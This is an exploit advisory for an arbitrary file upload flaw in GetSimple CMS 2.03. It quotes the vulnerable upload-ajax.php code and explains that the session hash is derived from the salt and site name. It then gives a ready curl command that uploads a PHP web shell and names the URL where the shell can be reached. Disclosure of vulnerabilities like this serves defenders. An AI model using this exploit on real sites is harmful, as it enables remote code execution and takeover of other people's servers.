Getsimple CMS 2.03 – ‘upload-ajax.php’ Arbitrary File Upload
source: https://www.securityfocus.com/bid/46427/info GetSimple CMS is prone to an arbitrary-file-upload vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. GetSimple CMS 2.03 is vulnerable; other versions may also be affected. Bug Code: getsimple/admin/upload-ajax.php if ($_REQUEST['sessionHash'] === $SESSIONHASH) { if (!empty($_FILES)) { $tempFile = $_FILES['Filedata']['tmp_name']; $name = clean_img_name($_FILES['Filedata']['name']); $targetPath = GSDATAUPLOADPATH; $targetFile = str_replace(‘//’,'/’,$targetPath) . $name; move_uploaded_file($tempFile, $targetFile); ---------------------------------------------------------------------- Generating SESSIONHASH: md5( $salt. $sitename) [XPL] curl -F “Filedata=@yourshell.txt;filename=shell.php” http://getsimple_localhost/admin/upload-ajax.php\?sessionHash\=HASH CREATO After, enjoy your Bacon-Shell here ...http://getsimple_localhost/ data/uploads/shell.php |